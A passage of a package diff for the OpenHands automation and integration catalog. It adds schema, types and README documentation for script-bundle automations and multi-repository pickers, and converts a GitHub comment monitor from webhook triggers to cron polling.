| "minimum": 1, | ||
| "maximum": 86400 | ||
| }, | ||
| "files": { | ||
| "description": "The tarball's contents, keyed by the path each file takes inside the archive and valued by where it lives in this repository. Stated rather than derived from the entry directory, so a script shipped by both a skill and the catalog has one copy rather than two.", | ||
| "type": "object", | ||
| "minProperties": 1, | ||
| "maxProperties": 32, | ||
| "propertyNames": { | ||
| "pattern": "^[A-Za-z0-9._-]+(/[A-Za-z0-9._-]+)*$", | ||
| "not": { "pattern": "(^|/)\\.\\.?(/|$)" }, | ||
| "maxLength": 255 | ||
| }, | ||
| "additionalProperties": { "$ref": "#/$defs/bundleSource" } | ||
| }, | ||
| "config": { | ||
| "description": "The config.json packed beside the entrypoint, rendered from the form. This is the bundle's analogue of prompt: the one thing that cannot be read off the form, because only the entry knows which key of its own script each field fills.", | ||
| "$ref": "#/$defs/bundleConfig" | ||
| } | ||
| } | ||
| }, | ||
| "bundleSource": { | ||
| "description": "A file in this repository, as a repository-relative path under skills/ or automations/. No absolute path, no traversal, and no scheme, so a bundle cannot name anything outside the published package.", | ||
| "type": "string", | ||
| "minLength": 1, | ||
| "maxLength": 255, | ||
| "pattern": "^(skills|automations)/[A-Za-z0-9._-]+(/[A-Za-z0-9._-]+)*$", | ||
| "not": { "pattern": "(^|/)\\.\\.?(/|$)" } | ||
| }, | ||
| "bundleConfig": { | ||
| "description": "The JSON document written to config.json. Its string leaves may embed the same placeholders every other value uses. It carries no markup rule, because it is written to a file rather than rendered.", | ||
| "type": "object", | ||
| "minProperties": 1, | ||
| "additionalProperties": { "$ref": "#/$defs/bundleConfigValue" } | ||
| }, | ||
| "bundleConfigValue": { | ||
| "description": "A config leaf: a templated string, a number, a boolean, null, or an array or object of the same.", | ||
| "anyOf": [ | ||
| { "$ref": "#/$defs/templateValue" }, | ||
| { "type": ["number", "boolean", "null"] }, | ||
| { "type": "array", "items": { "$ref": "#/$defs/bundleConfigValue" } }, | ||
| { | ||
| "type": "object", | ||
| "additionalProperties": { "$ref": "#/$defs/bundleConfigValue" } | ||
| } | ||
| ] | ||
| }, | ||
| "copy": { | ||
@@ -231,2 +321,6 @@ "description": "Literal user-visible copy. Carries no markup, because a setup block must never inject HTML into the host.", | ||
| "provider": { "enum": ["github", "gitlab", "bitbucket"] }, | ||
| "multiple": { | ||
| "description": "repo-picker only. The field collects several repositories rather than one, and its value is a list. A whole-value placeholder resolves to that list, so a payload can state `\"repos\": \"{{form.repositories}}\"` and get an array.", | ||
| "const": true | ||
| }, | ||
| "options": { | ||
@@ -269,2 +363,9 @@ "type": "array", | ||
| "if": { | ||
| "properties": { "type": { "not": { "const": "repo-picker" } } }, | ||
| "required": ["type"] | ||
| }, | ||
| "then": { "not": { "required": ["multiple"] } } | ||
| }, | ||
| { | ||
| "if": { | ||
| "properties": { "type": { "not": { "const": "select" } } }, | ||
@@ -271,0 +372,0 @@ "required": ["type"] |
@@ -13,4 +13,3 @@ { | ||
| "features": [ | ||
| "repoClone", | ||
| "presetPrompt" | ||
| "customTarball" | ||
| ] | ||
@@ -20,3 +19,3 @@ }, | ||
| "estimatedSetupMinutes": 4, | ||
| "exampleImplementation": "Trigger: cron polling for open GitHub PRs with a configured label such as openhands-review\nRequired secret: GITHUB_PERSONAL_ACCESS_TOKEN\n\n1. Read repository, trigger label, review tone, and polling schedule from setup.\n2. List open PRs and find the latest matching GitHub labeled issue event for each labeled PR.\n3. Deduplicate on the label event ID so every label application queues exactly one review.\n4. Start an OpenHands conversation that clones the repo, checks out the exact PR head SHA, and inspects PR discussion, review comments, changed files, diff, and surrounding code.\n5. Post an acknowledgement with the conversation link, then post the final AI review comment only if the PR is still open and the head SHA has not changed.", | ||
| "exampleImplementation": "Trigger: cron polling for open GitHub PRs with a configured label such as openhands-review\nRequired secret: GITHUB_PERSONAL_ACCESS_TOKEN, with permission to write pull request reviews\n\n1. Read the repositories, trigger label, review tone, and polling schedule from setup.\n2. Poll each repository independently, with its own state, so PR numbers never collide.\n3. List open PRs and find the latest matching GitHub labeled issue event for each labeled PR.\n4. Deduplicate on the label event ID so every label application queues exactly one review.\n5. Extract the PR head commit into a directory of its own and start an OpenHands conversation with that directory as its workspace, so the agent reviews the exact commit without cloning anything.\n6. Post an acknowledgement with the conversation link, then confirm on GitHub that the review was published for that head SHA, falling back to posting the agent's text as a comment.\n7. Remove the checkout once the conversation has stopped, so nothing accumulates between runs.", | ||
| "setup": { | ||
@@ -45,7 +44,8 @@ "version": "1.0", | ||
| "args": { | ||
| "repository": { | ||
| "repositories": { | ||
| "type": "repo-picker", | ||
| "label": "Repository", | ||
| "help": "The repository whose pull requests will be reviewed.", | ||
| "label": "Repositories", | ||
| "help": "The repositories whose pull requests will be reviewed. Each is polled independently and keeps its own state, so pull request numbers never collide between them.", | ||
| "provider": "github", | ||
| "multiple": true, | ||
| "required": true | ||
@@ -78,2 +78,6 @@ }, | ||
| "label": "Thorough" | ||
| }, | ||
| { | ||
| "value": "friendly", | ||
| "label": "Friendly" | ||
| } | ||
@@ -84,5 +88,17 @@ ] | ||
| }, | ||
| "prompt": "Review pull requests labeled '{{form.triggerLabel}}' in {{form.repository}}. Review tone: {{form.reviewTone}}.", | ||
| "bundle": { | ||
| "version": "1.0.0", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "files": { | ||
| "main.py": "skills/github-pr-reviewer/scripts/main.py" | ||
| }, | ||
| "config": { | ||
| "repos": "{{form.repositories}}", | ||
| "trigger_label": "{{form.triggerLabel}}", | ||
| "review_tone": "{{form.reviewTone}}" | ||
| } | ||
| }, | ||
| "message": "This deployment cannot run the scheduled review automation directly. Set it up in this conversation instead: confirm the repository to review, the trigger label, the review tone, and the polling schedule, then create the automation." | ||
| } | ||
| } |
@@ -14,4 +14,3 @@ { | ||
| "repoClone", | ||
| "presetPrompt", | ||
| "webhookDelivery" | ||
| "presetPrompt" | ||
| ] | ||
@@ -21,3 +20,3 @@ }, | ||
| "estimatedSetupMinutes": 5, | ||
| "exampleImplementation": "Trigger: cron, every minute (configurable)\nRequired secret: GITHUB_PERSONAL_ACCESS_TOKEN\n\n1. Poll GitHub for new issue and PR comments since the last run.\n2. Match comments containing the trigger phrase (case-insensitive, default: @OpenHands).\n3. Post an acknowledgment comment with a link to the new OpenHands conversation.\n4. Forward follow-up replies in the same thread to the running conversation.\n5. Post the agent's final response back to GitHub when the conversation completes.", | ||
| "exampleImplementation": "Trigger: cron polling (e.g. every 15 minutes, configurable)\nRequired secret: GITHUB_PERSONAL_ACCESS_TOKEN\n\n1. Poll GitHub for new issue and PR comments since the last run.\n2. Match comments containing the trigger phrase (case-insensitive, default: @OpenHands).\n3. Post an acknowledgment comment with a link to the new OpenHands conversation.\n4. Forward follow-up replies in the same thread to the running conversation.\n5. Post the agent's final response back to GitHub when the conversation completes.", | ||
| "setup": { | ||
@@ -28,31 +27,16 @@ "version": "1.0", | ||
| "triggers": { | ||
| "event": { | ||
| "on": { | ||
| "type": "select", | ||
| "label": "Respond to", | ||
| "help": "Which GitHub comment event starts a conversation.", | ||
| "default": "issue_comment.created", | ||
| "required": true, | ||
| "options": [ | ||
| { | ||
| "value": "issue_comment.created", | ||
| "label": "Comments on issues and pull requests" | ||
| }, | ||
| { | ||
| "value": "pull_request_review_comment.created", | ||
| "label": "Pull request review comments only" | ||
| } | ||
| ] | ||
| "cron": { | ||
| "schedule": { | ||
| "type": "cron", | ||
| "label": "Check frequency", | ||
| "help": "How often to look for new comments to respond to.", | ||
| "default": "*/15 * * * *", | ||
| "required": true | ||
| }, | ||
| "triggerPhrase": { | ||
| "type": "text", | ||
| "label": "Trigger phrase", | ||
| "help": "Only comments containing this phrase start a conversation. Matched case-insensitively. Quotes and backslashes are not allowed, because the phrase becomes part of the event filter expression.", | ||
| "default": "@openhands", | ||
| "required": true, | ||
| "constraints": { | ||
| "minLength": 2, | ||
| "maxLength": 50, | ||
| "format": "safeExpressionLiteral" | ||
| } | ||
| "timezone": { | ||
| "type": "timezone", | ||
| "label": "Timezone", | ||
| "help": "Timezone the schedule is interpreted in.", | ||
| "default": "UTC", | ||
| "required": true | ||
| } | ||
@@ -69,2 +53,13 @@ } | ||
| }, | ||
| "triggerPhrase": { | ||
| "type": "text", | ||
| "label": "Trigger phrase", | ||
| "help": "Only comments containing this phrase start a conversation. Matched case-insensitively.", | ||
| "default": "@openhands", | ||
| "required": true, | ||
| "constraints": { | ||
| "minLength": 2, | ||
| "maxLength": 50 | ||
| } | ||
| }, | ||
| "ref": { | ||
@@ -83,6 +78,5 @@ "type": "text", | ||
| }, | ||
| "prompt": "A comment in {{form.repository}} mentions '{{form.triggerPhrase}}'. Read the surrounding issue or pull request context from the event payload, then post a helpful reply as a comment on the same thread.", | ||
| "filter": "icontains(comment.body, '{{form.triggerPhrase}}') && glob(repository.full_name, '{{form.repository}}')", | ||
| "message": "This deployment cannot run the webhook-driven monitor directly. Set it up in this conversation instead: confirm the repository to watch, the comment event, and the trigger phrase, then create the automation. If webhook delivery is unavailable here, build the polling variant this skill supports." | ||
| "prompt": "Poll {{form.repository}} for any new issue or pull request comments since the last run. For every comment mentioning '{{form.triggerPhrase}}', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "message": "This deployment cannot run the scheduled monitor directly. Set it up in this conversation instead: confirm the repository to watch, the trigger phrase, and the polling schedule, then create the automation." | ||
| } | ||
| } |
@@ -8,4 +8,4 @@ { | ||
| "integrations": { | ||
| "jira": { | ||
| "message": "Reads the project for issues carrying the trigger label." | ||
| "atlassian-rovo": { | ||
| "message": "Provides the Atlassian Rovo MCP connection used to access Jira data." | ||
| }, | ||
@@ -19,3 +19,3 @@ "github": { | ||
| "estimatedSetupMinutes": 5, | ||
| "exampleImplementation": "Trigger: cron polling (e.g. every 5 minutes)\nRequired secrets: Jira API token, GitHub personal access token (repo + workflow scope)\n\n1. Collect Jira base URL, email, API token secret name, label to watch, and cron schedule from the user. No GitHub repo is needed at deploy time - each ticket must include the target repo (owner/repo) in its body.\n2. Poll POST /rest/api/3/search/jql on the Jira Cloud instance to find open issues carrying the configured label.\n3. Deduplicate against a KV-store-backed set of already-processed issue keys so re-runs never create duplicate PRs.\n4. For each new issue, start an independent OpenHands agent conversation that extracts the GitHub repo from the ticket body, clones it, creates a branch named after the Jira key, implements or scaffolds the requested change, and opens a pull request.\n5. Immediately after the conversation is created, post a Jira comment on the issue: 'I'm on it: <conversation URL>'.\n6. Persist the processed issue key immediately after dispatching so the next poll skips it." | ||
| "exampleImplementation": "Trigger: cron polling (e.g. every 5 minutes)\nRequired integrations: Atlassian Rovo MCP for Jira access and a GitHub MCP connection. The poller also needs a Jira API token and a GitHub personal access token (repo + workflow scope) as secrets for its direct API calls.\n\n1. Connect Atlassian Rovo MCP and GitHub, then collect the Jira base URL, email, API token secret name, label to watch, and cron schedule from the user. No GitHub repo is needed at deploy time - each ticket must include the target repo (owner/repo) in its body.\n2. Poll POST /rest/api/3/search/jql on the Jira Cloud instance to find open issues carrying the configured label.\n3. Deduplicate against a KV-store-backed set of already-processed issue keys so re-runs never create duplicate PRs.\n4. For each new issue, start an independent OpenHands agent conversation that extracts the GitHub repo from the ticket body, clones it, creates a branch named after the Jira key, implements or scaffolds the requested change, and opens a pull request.\n5. Immediately after the conversation is created, post a Jira comment on the issue: 'I'm on it: <conversation URL>'.\n6. Persist the processed issue key immediately after dispatching so the next poll skips it." | ||
| } |
@@ -66,2 +66,7 @@ export interface RecommendedAutomation { | ||
| provider?: AutomationGitProvider; | ||
| /** | ||
| * repo-picker only. The field collects several repositories rather than one, | ||
| * and its value is a list. A whole-value placeholder resolves to that list. | ||
| */ | ||
| multiple?: true; | ||
| options?: AutomationFieldOption[]; | ||
@@ -100,2 +105,28 @@ constraints?: AutomationFieldConstraints; | ||
| /** A config.json leaf: templated string, number, boolean, null, or a nesting of those. */ | ||
| export type AutomationBundleConfigValue = | ||
| | string | ||
| | number | ||
| | boolean | ||
| | null | ||
| | AutomationBundleConfigValue[] | ||
| | { [key: string]: AutomationBundleConfigValue }; | ||
| /** | ||
| * The script tarball a direct entry may ship instead of a prompt, for an | ||
| * automation that is deterministic machinery rather than judgement. | ||
| */ | ||
| export interface AutomationBundle { | ||
| /** The command run inside the extracted tarball. */ | ||
| entrypoint: string; | ||
| /** Script run once before the entrypoint. Absent when nothing to install. */ | ||
| setupScript?: string; | ||
| /** Seconds a run may take, when the service default is not enough. */ | ||
| timeout?: number; | ||
| /** Packed path -> the repository path the file is read from at build time. */ | ||
| files: Record<string, string>; | ||
| /** Rendered from the form and packed as config.json beside the entrypoint. */ | ||
| config: Record<string, AutomationBundleConfigValue>; | ||
| } | ||
| export interface AutomationSetup { | ||
@@ -107,2 +138,4 @@ version: "1.0"; | ||
| prompt?: string; | ||
| /** direct only, and the alternative to `prompt`. Exactly one is present. */ | ||
| bundle?: AutomationBundle; | ||
| /** direct only, event trigger only. Which delivered events belong to it. */ | ||
@@ -343,2 +376,6 @@ filter?: string; | ||
| createPlugin: string; | ||
| /** The raw create endpoint, which a bundle entry is created through. */ | ||
| createBundle: string; | ||
| /** Where a bundle's tarball is uploaded before that create call. */ | ||
| uploads: string; | ||
| } | ||
@@ -372,2 +409,13 @@ | ||
| ): RecommendedAutomation | undefined; | ||
| /** | ||
| * Return the files a bundle entry ships, keyed by the path each takes inside | ||
| * the tarball, as an independent copy. Undefined for an entry with no bundle. | ||
| * | ||
| * The contents are inlined at build time from the repository paths | ||
| * `setup.bundle.files` names, because a host packing the tarball has the | ||
| * published package but not the repository. | ||
| */ | ||
| export function getAutomationBundleFiles( | ||
| id: string, | ||
| ): Record<string, string> | undefined; | ||
| export default AUTOMATION_CATALOG; |
+14
-0
@@ -8,2 +8,3 @@ /** | ||
| */ | ||
| import { AUTOMATION_BUNDLE_FILES } from "./bundle-index.js"; | ||
| import { AUTOMATION_CATALOG_ENTRIES } from "./catalog-index.js"; | ||
@@ -26,2 +27,15 @@ import interfaceManifest from "./interface.json" with { type: "json" }; | ||
| /** | ||
| * The files a bundle entry ships, keyed by entry id and then by the path each | ||
| * file takes inside the tarball. Generated from the repository paths the | ||
| * entry's `setup.bundle.files` names, because a host packing the tarball has | ||
| * the package but not the repository. | ||
| * | ||
| * Absent for every entry that does not ship a bundle. | ||
| */ | ||
| export const getAutomationBundleFiles = (id) => { | ||
| const files = AUTOMATION_BUNDLE_FILES[id]; | ||
| return files ? clone(files) : undefined; | ||
| }; | ||
| /** | ||
| * The production Automation interface manifest: the domain-level facts of the | ||
@@ -28,0 +42,0 @@ * interface, hand-authored in `automations/interface.json`. |
@@ -147,3 +147,5 @@ { | ||
| "createPrompt": "/v1/preset/prompt", | ||
| "createPlugin": "/v1/preset/plugin" | ||
| "createPlugin": "/v1/preset/plugin", | ||
| "createBundle": "/v1", | ||
| "uploads": "/v1/uploads" | ||
| }, | ||
@@ -150,0 +152,0 @@ "featuredAutomationIds": [ |
@@ -181,3 +181,5 @@ { | ||
| "createPrompt", | ||
| "createPlugin" | ||
| "createPlugin", | ||
| "createBundle", | ||
| "uploads" | ||
| ], | ||
@@ -194,3 +196,5 @@ "properties": { | ||
| "createPrompt": { "$ref": "#/$defs/plainEndpoint" }, | ||
| "createPlugin": { "$ref": "#/$defs/plainEndpoint" } | ||
| "createPlugin": { "$ref": "#/$defs/plainEndpoint" }, | ||
| "createBundle": { "$ref": "#/$defs/plainEndpoint" }, | ||
| "uploads": { "$ref": "#/$defs/plainEndpoint" } | ||
| } | ||
@@ -197,0 +201,0 @@ }, |
@@ -53,3 +53,4 @@ # Automations | ||
| | The review screen | The fields and their labels | | ||
| | The create endpoint | `POST /v1/preset/prompt` | | ||
| | The create endpoint | `POST /v1/preset/prompt`, or `POST /v1` for an entry that ships a bundle | | ||
| | The files a bundle packs | `setup.bundle.files`, read from this repository at build time | | ||
| | Where a success navigates | The created automation, or the started conversation | | ||
@@ -107,4 +108,3 @@ | The analytics stages | The same stages for every automation | | ||
| - **`form.triggers`** decides *when* the automation runs, keyed by trigger kind (`cron` or `event`). | ||
| `github-pr-reviewer` asks for a schedule and a timezone; `github-repo-monitor` asks which GitHub event to | ||
| answer and which phrase to match. | ||
| `github-pr-reviewer` and `github-repo-monitor` each ask for a schedule and a timezone. | ||
| - **`form.args`** is everything else: the arguments to the automation itself, such as the repository to | ||
@@ -129,2 +129,11 @@ clone and the tone of the review. | ||
| A `repo-picker` may declare `multiple: true`, and then it collects several | ||
| repositories and its value is a list. A placeholder that is the *whole* value | ||
| resolves to that list rather than to text, which is what lets `"repos": | ||
| "{{form.repositories}}"` produce an array; the same placeholder inside a | ||
| sentence still reads as text. On the preset path the list becomes one `repos[]` | ||
| entry per repository. The created automation is named after the single | ||
| repository when there is one and after the count when there are several, since a | ||
| list of names does not fit a name. | ||
| A form field is named after the property it fills. `schedule` and `timezone` under `triggers.cron` become | ||
@@ -135,2 +144,53 @@ `trigger.schedule` and `trigger.timezone`; `on` under `triggers.event` becomes `trigger.on`; a field named | ||
| ### Entries that ship a script | ||
| `mode: "direct"` produces either a `prompt` or a `bundle`, never both. A prompt | ||
| is the right shape when the automation *is* the judgement: the agent reads the | ||
| prompt and does the work. A bundle is the right shape when most of what the | ||
| automation does is deterministic machinery - polling, dedupe, state, fixed API | ||
| calls - and the agent is needed only for the part that genuinely needs judgement. | ||
| `github-pr-reviewer` is the first: its script owns discovery, label-event | ||
| dedupe, per-repo state and the review checkout, and starts a conversation only | ||
| once a pull request actually needs reviewing. | ||
| ```jsonc | ||
| "bundle": { | ||
| "version": "1.0.0", // provenance; bump when the files or config shape change | ||
| "entrypoint": "python3 main.py", // run inside the extracted tarball | ||
| "timeout": 600, // when the service default is not enough | ||
| "files": { // packed path -> where it lives in this repo | ||
| "main.py": "skills/github-pr-reviewer/scripts/main.py" | ||
| }, | ||
| "config": { // rendered from the form, packed as config.json | ||
| "repos": "{{form.repositories}}", // a whole-value placeholder, so this is a list | ||
| "trigger_label": "{{form.triggerLabel}}", | ||
| "review_tone": "{{form.reviewTone}}" | ||
| } | ||
| } | ||
| ``` | ||
| The host packs those files plus the rendered `config.json`, `POST`s the archive | ||
| to `uploads`, and creates from the `oh-internal://` path that comes back. What it | ||
| sends is otherwise the same restatement of the form as the preset path, plus the | ||
| `template` provenance that makes enabling an entry twice return the automation | ||
| that already exists rather than a duplicate (`OpenHands/automation#344`). | ||
| Two things follow from the archetype rather than being stated: | ||
| - **`files` names paths, not contents.** The reviewer script is shipped by both | ||
| its skill and this catalog, and a second copy would drift. `npm run | ||
| build:automations` inlines the contents into `automations/bundle-index.js`, | ||
| which is what `getAutomationBundleFiles(id)` returns - a host packing the | ||
| archive has the published package, not this repository. | ||
| - **`config` is the bundle's `prompt`.** Everything else in the create request is | ||
| read off the form; only the entry knows which key of its own script each field | ||
| fills. The script reads that file over its own defaults, so the agent-driven | ||
| skill path, which substitutes the same values as constants, keeps working | ||
| unchanged. | ||
| A bundle declares `requires.features: ["customTarball"]`: a deployment that | ||
| cannot run a client-supplied tarball cannot run the entry, whatever trigger kinds | ||
| it offers. It never declares `repos` - the raw create endpoint has no such field, | ||
| and a bundle fetches what it needs itself. | ||
| ### Format constraints | ||
@@ -158,6 +218,10 @@ | ||
| | --- | --- | --- | --- | | ||
| | `github-pr-reviewer` | Direct scheduled | `cron` | a create payload | | ||
| | `github-repo-monitor` | Direct GitHub-event | `event` on `github` with a JMESPath filter | a create payload | | ||
| | `github-pr-reviewer` | Direct scheduled, script bundle | `cron` | an upload, then a create payload | | ||
| | `github-repo-monitor` | Direct scheduled | `cron` | a create payload | | ||
| | `incident-retrospective-drafter` | Assisted conversation | decided during the conversation | a seed message | | ||
| An event archetype is still expressible - `github-repo-monitor` used one until its deployment could no | ||
| longer receive webhooks, and was converted to the polled `cron` form. The schema keeps supporting `event` | ||
| triggers for deployments that can. See the `event` key under `setup.form.triggers` in `catalog.schema.json`. | ||
| The assisted archetype has no payload and no preflight, because at the end of its flow no automation exists | ||
@@ -172,6 +236,6 @@ yet. The agent creates it during the conversation, and the service validates it there. That is the defining | ||
| They can differ in more than wording. `github-repo-monitor`'s skill polls GitHub on a cron and states that | ||
| a webhook variant is out of scope, while its `setup` block creates the webhook form the service already | ||
| supports. Both statements are accurate about their own generation. Retiring the skill path for entries that | ||
| ship a `setup` block belongs to whoever promotes this to production. | ||
| They can differ in more than wording. `github-repo-monitor`'s skill polls GitHub on a cron, and its `setup` | ||
| block declares the same polled `cron` form, so the two generations agree. (It once declared an `event` | ||
| form; when the deployment stopped receiving webhooks it was converted to this polling one.) Retiring the | ||
| skill path for entries that ship a `setup` block belongs to whoever promotes this to production. | ||
@@ -269,2 +333,4 @@ ## The interface manifest (`interface.json`) | ||
| | `POST /v1/preset/prompt` | Exists | | ||
| | `POST /v1/uploads` | Exists | | ||
| | `POST /v1` | Exists; accepts `template` provenance from OpenHands/automation#344 | | ||
| | `GET /v1/capabilities` | Exists (OpenHands/automation#270) | | ||
@@ -271,0 +337,0 @@ | `POST /v1/validate` | Exists (OpenHands/automation#270) | |
+1
-1
@@ -45,3 +45,3 @@ export { | ||
| } from "./automations/index.js"; | ||
| export { SKILLS_CATALOG } from "./skills/index.js"; | ||
| export { SKILLS_CATALOG, DEFAULT_ENABLED_SKILL_NAMES } from "./skills/index.js"; | ||
| export type { SkillCatalogEntry } from "./skills/index.js"; |
+1
-1
| export { INTEGRATION_CATALOG } from "./integrations/index.js"; | ||
| export { AUTOMATION_CATALOG, AUTOMATION_INTERFACE } from "./automations/index.js"; | ||
| export { SKILLS_CATALOG } from "./skills/index.js"; | ||
| export { SKILLS_CATALOG, DEFAULT_ENABLED_SKILL_NAMES } from "./skills/index.js"; |
@@ -17,65 +17,66 @@ // This file is auto-generated by scripts/build-integration-catalog.mjs. | ||
| import entry11 from "./catalog/quickbooks.json" with { type: "json" }; | ||
| import entry12 from "./catalog/okta.json" with { type: "json" }; | ||
| import entry13 from "./catalog/netlify.json" with { type: "json" }; | ||
| import entry14 from "./catalog/vercel.json" with { type: "json" }; | ||
| import entry15 from "./catalog/supabase.json" with { type: "json" }; | ||
| import entry16 from "./catalog/posthog.json" with { type: "json" }; | ||
| import entry17 from "./catalog/sentry.json" with { type: "json" }; | ||
| import entry18 from "./catalog/datadog.json" with { type: "json" }; | ||
| import entry19 from "./catalog/canva.json" with { type: "json" }; | ||
| import entry20 from "./catalog/miro.json" with { type: "json" }; | ||
| import entry21 from "./catalog/webflow.json" with { type: "json" }; | ||
| import entry22 from "./catalog/zoom.json" with { type: "json" }; | ||
| import entry23 from "./catalog/discord.json" with { type: "json" }; | ||
| import entry24 from "./catalog/stripe.json" with { type: "json" }; | ||
| import entry25 from "./catalog/intercom.json" with { type: "json" }; | ||
| import entry26 from "./catalog/hubspot.json" with { type: "json" }; | ||
| import entry27 from "./catalog/salesforce.json" with { type: "json" }; | ||
| import entry28 from "./catalog/sharepoint.json" with { type: "json" }; | ||
| import entry29 from "./catalog/onedrive.json" with { type: "json" }; | ||
| import entry30 from "./catalog/microsoft-teams.json" with { type: "json" }; | ||
| import entry31 from "./catalog/microsoft-outlook.json" with { type: "json" }; | ||
| import entry32 from "./catalog/box.json" with { type: "json" }; | ||
| import entry33 from "./catalog/airtable.json" with { type: "json" }; | ||
| import entry34 from "./catalog/monday.json" with { type: "json" }; | ||
| import entry35 from "./catalog/trello.json" with { type: "json" }; | ||
| import entry36 from "./catalog/asana.json" with { type: "json" }; | ||
| import entry37 from "./catalog/confluence.json" with { type: "json" }; | ||
| import entry38 from "./catalog/jira.json" with { type: "json" }; | ||
| import entry39 from "./catalog/google-calendar.json" with { type: "json" }; | ||
| import entry40 from "./catalog/gmail.json" with { type: "json" }; | ||
| import entry41 from "./catalog/google-sheets.json" with { type: "json" }; | ||
| import entry42 from "./catalog/google-drive.json" with { type: "json" }; | ||
| import entry43 from "./catalog/figma.json" with { type: "json" }; | ||
| import entry44 from "./catalog/google-docs.json" with { type: "json" }; | ||
| import entry45 from "./catalog/apify.json" with { type: "json" }; | ||
| import entry46 from "./catalog/atlassian-rovo.json" with { type: "json" }; | ||
| import entry47 from "./catalog/brave-search.json" with { type: "json" }; | ||
| import entry48 from "./catalog/browser-mcp.json" with { type: "json" }; | ||
| import entry49 from "./catalog/clickhouse.json" with { type: "json" }; | ||
| import entry50 from "./catalog/cloudflare-bindings.json" with { type: "json" }; | ||
| import entry51 from "./catalog/cloudflare-browser-rendering.json" with { type: "json" }; | ||
| import entry52 from "./catalog/cloudflare-builds.json" with { type: "json" }; | ||
| import entry53 from "./catalog/cloudflare-docs.json" with { type: "json" }; | ||
| import entry54 from "./catalog/cloudflare-observability.json" with { type: "json" }; | ||
| import entry55 from "./catalog/deepwiki.json" with { type: "json" }; | ||
| import entry56 from "./catalog/everything.json" with { type: "json" }; | ||
| import entry57 from "./catalog/exa.json" with { type: "json" }; | ||
| import entry58 from "./catalog/fetch.json" with { type: "json" }; | ||
| import entry59 from "./catalog/filesystem.json" with { type: "json" }; | ||
| import entry60 from "./catalog/firecrawl.json" with { type: "json" }; | ||
| import entry61 from "./catalog/git.json" with { type: "json" }; | ||
| import entry62 from "./catalog/huggingface.json" with { type: "json" }; | ||
| import entry63 from "./catalog/kagi.json" with { type: "json" }; | ||
| import entry64 from "./catalog/memory.json" with { type: "json" }; | ||
| import entry65 from "./catalog/mongodb.json" with { type: "json" }; | ||
| import entry66 from "./catalog/neon.json" with { type: "json" }; | ||
| import entry67 from "./catalog/obsidian.json" with { type: "json" }; | ||
| import entry68 from "./catalog/paypal.json" with { type: "json" }; | ||
| import entry69 from "./catalog/playwright.json" with { type: "json" }; | ||
| import entry70 from "./catalog/redis.json" with { type: "json" }; | ||
| import entry71 from "./catalog/resend.json" with { type: "json" }; | ||
| import entry72 from "./catalog/sequential-thinking.json" with { type: "json" }; | ||
| import entry73 from "./catalog/superhuman-mail.json" with { type: "json" }; | ||
| import entry74 from "./catalog/time.json" with { type: "json" }; | ||
| import entry12 from "./catalog/sonarqube.json" with { type: "json" }; | ||
| import entry13 from "./catalog/okta.json" with { type: "json" }; | ||
| import entry14 from "./catalog/netlify.json" with { type: "json" }; | ||
| import entry15 from "./catalog/vercel.json" with { type: "json" }; | ||
| import entry16 from "./catalog/supabase.json" with { type: "json" }; | ||
| import entry17 from "./catalog/posthog.json" with { type: "json" }; | ||
| import entry18 from "./catalog/sentry.json" with { type: "json" }; | ||
| import entry19 from "./catalog/datadog.json" with { type: "json" }; | ||
| import entry20 from "./catalog/canva.json" with { type: "json" }; | ||
| import entry21 from "./catalog/miro.json" with { type: "json" }; | ||
| import entry22 from "./catalog/webflow.json" with { type: "json" }; | ||
| import entry23 from "./catalog/zoom.json" with { type: "json" }; | ||
| import entry24 from "./catalog/discord.json" with { type: "json" }; | ||
| import entry25 from "./catalog/stripe.json" with { type: "json" }; | ||
| import entry26 from "./catalog/intercom.json" with { type: "json" }; | ||
| import entry27 from "./catalog/hubspot.json" with { type: "json" }; | ||
| import entry28 from "./catalog/salesforce.json" with { type: "json" }; | ||
| import entry29 from "./catalog/sharepoint.json" with { type: "json" }; | ||
| import entry30 from "./catalog/onedrive.json" with { type: "json" }; | ||
| import entry31 from "./catalog/microsoft-teams.json" with { type: "json" }; | ||
| import entry32 from "./catalog/microsoft-outlook.json" with { type: "json" }; | ||
| import entry33 from "./catalog/box.json" with { type: "json" }; | ||
| import entry34 from "./catalog/airtable.json" with { type: "json" }; | ||
| import entry35 from "./catalog/monday.json" with { type: "json" }; | ||
| import entry36 from "./catalog/trello.json" with { type: "json" }; | ||
| import entry37 from "./catalog/asana.json" with { type: "json" }; | ||
| import entry38 from "./catalog/confluence.json" with { type: "json" }; | ||
| import entry39 from "./catalog/jira.json" with { type: "json" }; | ||
| import entry40 from "./catalog/google-calendar.json" with { type: "json" }; | ||
| import entry41 from "./catalog/gmail.json" with { type: "json" }; | ||
| import entry42 from "./catalog/google-sheets.json" with { type: "json" }; | ||
| import entry43 from "./catalog/google-drive.json" with { type: "json" }; | ||
| import entry44 from "./catalog/figma.json" with { type: "json" }; | ||
| import entry45 from "./catalog/google-docs.json" with { type: "json" }; | ||
| import entry46 from "./catalog/apify.json" with { type: "json" }; | ||
| import entry47 from "./catalog/atlassian-rovo.json" with { type: "json" }; | ||
| import entry48 from "./catalog/brave-search.json" with { type: "json" }; | ||
| import entry49 from "./catalog/browser-mcp.json" with { type: "json" }; | ||
| import entry50 from "./catalog/clickhouse.json" with { type: "json" }; | ||
| import entry51 from "./catalog/cloudflare-bindings.json" with { type: "json" }; | ||
| import entry52 from "./catalog/cloudflare-browser-rendering.json" with { type: "json" }; | ||
| import entry53 from "./catalog/cloudflare-builds.json" with { type: "json" }; | ||
| import entry54 from "./catalog/cloudflare-docs.json" with { type: "json" }; | ||
| import entry55 from "./catalog/cloudflare-observability.json" with { type: "json" }; | ||
| import entry56 from "./catalog/deepwiki.json" with { type: "json" }; | ||
| import entry57 from "./catalog/everything.json" with { type: "json" }; | ||
| import entry58 from "./catalog/exa.json" with { type: "json" }; | ||
| import entry59 from "./catalog/fetch.json" with { type: "json" }; | ||
| import entry60 from "./catalog/filesystem.json" with { type: "json" }; | ||
| import entry61 from "./catalog/firecrawl.json" with { type: "json" }; | ||
| import entry62 from "./catalog/git.json" with { type: "json" }; | ||
| import entry63 from "./catalog/huggingface.json" with { type: "json" }; | ||
| import entry64 from "./catalog/kagi.json" with { type: "json" }; | ||
| import entry65 from "./catalog/memory.json" with { type: "json" }; | ||
| import entry66 from "./catalog/mongodb.json" with { type: "json" }; | ||
| import entry67 from "./catalog/neon.json" with { type: "json" }; | ||
| import entry68 from "./catalog/obsidian.json" with { type: "json" }; | ||
